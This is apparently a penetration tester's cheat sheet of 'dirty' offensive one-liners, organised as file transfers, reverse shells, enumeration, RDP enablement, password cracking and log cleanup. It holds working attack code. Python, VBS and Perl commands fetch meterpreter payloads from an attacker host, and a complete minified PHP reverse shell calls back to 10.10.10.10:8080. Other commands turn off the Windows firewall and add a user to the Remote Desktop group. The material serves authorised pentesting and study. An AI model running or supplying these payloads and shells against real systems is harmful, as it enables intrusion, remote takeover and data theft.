One-Liners and Dirty Scripts
They don't have to be elegant, they just have to get the job done.
If I use it and it's not here, it's probably over here: https://github.com/burmat/burmatscripts
FILE TRANSFERS
Python HTTP File Download
If you have remote command execution on a box with python - something like this should do the trick:
python -c "import urllib; f = urllib.URLopener(); f.retrieve('http://<attacker ip>/meterpreter', '/tmp/meterpreter');"
or if it is a Windows box, it's not much different:
C:\Python2.7\python.exe -c "import urllib; f = urllib.URLopener(); f.retrieve('http://<attacker ip>/rs_powershell.exe', '/temp/rs_powershell.exe');"
VBS HTTP File Download
I got stuck with a borked up reverse shell on a Windows system with no file transfer methods and no modern scripting options. I scraped together the following one-liner to dump into my shell to get my payload over by writing a VBS script with echo statements to issue the download:
echo Set o=CreateObject^("MSXML2.XMLHTTP"^):Set a=CreateObject^("ADODB.Stream"^):Set f=Createobject^("Scripting.FileSystemObject"^):o.open "GET", "http://<attacker ip>/meterpreter.exe", 0:o.send^(^):If o.Status=200 Then > "C:\temp\download.vbs" &echo a.Open:a.Type=1:a.Write o.ResponseBody:a.Position=0:If f.Fileexists^("C:\temp\meterpreter.exe"^) Then f.DeleteFile "C:\temp\meterpreter.exe" >> "C:\temp\download.vbs" &echo a.SaveToFile "C:\temp\meterpreter.exe" >>"C:\temp\download.vbs" &echo End if >>"C:\temp\download.vbs" &cscript //B "C:\temp\download.vbs" &del /F /Q "C:\temp\download.vbs"
(originally sourced from here: http://karceh.blogspot.com/2011/06/vbs-download-file-from-internet.html)
Impacket's smbserver.py
As always, the impacket suite shines. Use smbserver.py
to open an SMB server on your host for file exfiltration:
PERL HTTP File Download
perl -e 'use File::Fetch; my $ff=File::Fetch->new(uri => "http://10.10.10.11/exploit.sh"); my $file = $ff->fetch() or die $ff->error;'
NGINX + PUT
Picked up from here (thanks @ippsec), you can start a nginx server that can accept PUT requests for file transfer via HTTP:
Issue a PUT
request from a remote system to upload files to /var/www/upload
on your system:
Netcat File Transfer
Because if Netcat is on the system, everything becomes easier:
(and if it's not - go get it: C:\Users\burmat>tftp -i 10.10.10.10 get nc.exe
)
CERTUTIL Transfer
Using certutil.exe
is a clever way to get files down to a victim if you are attacking a Windows box and limited on methods:
You can also write a file from Base64 encoded text, too:
(Source: http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.html )
SQLMAP - User w/ FILE Privileges
If you have SQLi with a user account that has FILE
privileges, you can use sqlmap
to transfer the file to disk without formulating an INFO FILE
query yourself:
To see if you have the privilege, attempt (you might not have rights) to dump the user
table:
XML File Creation on Target (via copy/paste)
This is a clever way to get XML over to the system using copy and paste, and writing that XML to file:
Base64
Using netcat
Copy and Paste
xclip
Not a true method of file transfer, but useful nonetheless:
cat /usr/share/nishang/Client/Out-HTA.ps1 | xclip -sel clip
REVERSE SHELLS / SHELLS
PHP Reverse Shell - Minified
<?php set_time_limit (0); $VERSION = "1.0"; $ip = "10.10.10.10"; $port = 8080; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { exit(1); } $daemon = 1; } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while (1) { if (feof($sock)) { break; } if (feof($pipes[1])) { break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { $input = fread($pipes[1], $chunk_size); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { $input = fread($pipes[2], $chunk_size); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?>
(originally sourced from: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)
Python Reverse Shell for Windows
WinRM Ruby Shell
(originally sourced from: https://github.com/WinRb/WinRM)
ENUMERATION
Finding Vulnerable Applications (Linux)
This one is pretty dirty, and pretty awesome. Run a one-liner on your victim to generate a list of packages (rpm
or dpkg
) on the machine (/tmp/packages.txt
). Copy this file to one that has searchsploit
, and run the script.
Generate the file with: FILE="packages.txt"; FILEPATH="/tmp/$FILE"; /usr/bin/rpm -q -f /usr/bin/rpm >/dev/null 2>&1; if [ $? -eq 0 ]; then rpm -qa --qf "%{NAME} %{VERSION}\n" | sort -u > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; else dpkg -l | grep ii | awk '{print $2 " " substr($3,1)}' > $FILEPATH; echo "kernel $(uname -r)" >> $FILEPATH; fi; echo ""; echo "[>] Done. Transfer $FILEPATH to your computer and run: "; echo ""; echo "./packages_compare.sh /path/to/$FILE"; echo "";
Run the following script: https://github.com/burmat/burmatscripts/blob/master/bash/pkg_lookup.sh
(thanks to chryzsh for doing the heavy lifting)
"Proc Mon" (IppSec) Script
One of the handiest scripts to find running jobs and processes in real time. Thanks to IppSec for sharing it with the world:
SNMP Walker
I don't remember where I got this, but incredibly useful to focus in on key info from an snmpwalk
prior to sifting through all of it:
Ping Scan
Linux Ping Scanning:
You can use a regular-old for loop:
for i in {1..254}; do ping -c 1 -W 1 172.1.1.$i | grep 'from'; done
Or you can try out the following python script:
Windows Ping Scan:
Not the fastest or the cleanest, but it's an easy way to generate a ping scan from a cmd
prompt:
FOR /L %i IN (1,1,254) DO ping -n 1 192.168.1.%i | FIND /i "Reply" >> ips.txt
REMOTE DESKTOP (ENABLE / ADD)
Enable RDP:
If you need to add your user to the group, you can use: NET LOCALGROUP "Remote Desktop Users" domain\user /ADD
. And if you need to disable the firewall altogether: NetSh Advfirewall set allprofiles state off
CRACKING
Password Spray List
Use exrex
[https://github.com/asciimoo/exrex] to generate a custom wordlists to password spray with:
Small Wordlist, Rules
I got hit with having to crack mscachev2 hashes which can be slow. This is a perfect time to instead try targeted (small) wordlists and instead pass in some tried-and-tested rules: hashcat64.exe -a 0 -m 2100 -r rules/d3adhob0.rule mscachev2hash.txt wordlist.txt -o cracked.txt
SYSTEM CLEANUP
Purge Linux Logs
Covering Your Tracks
Last updated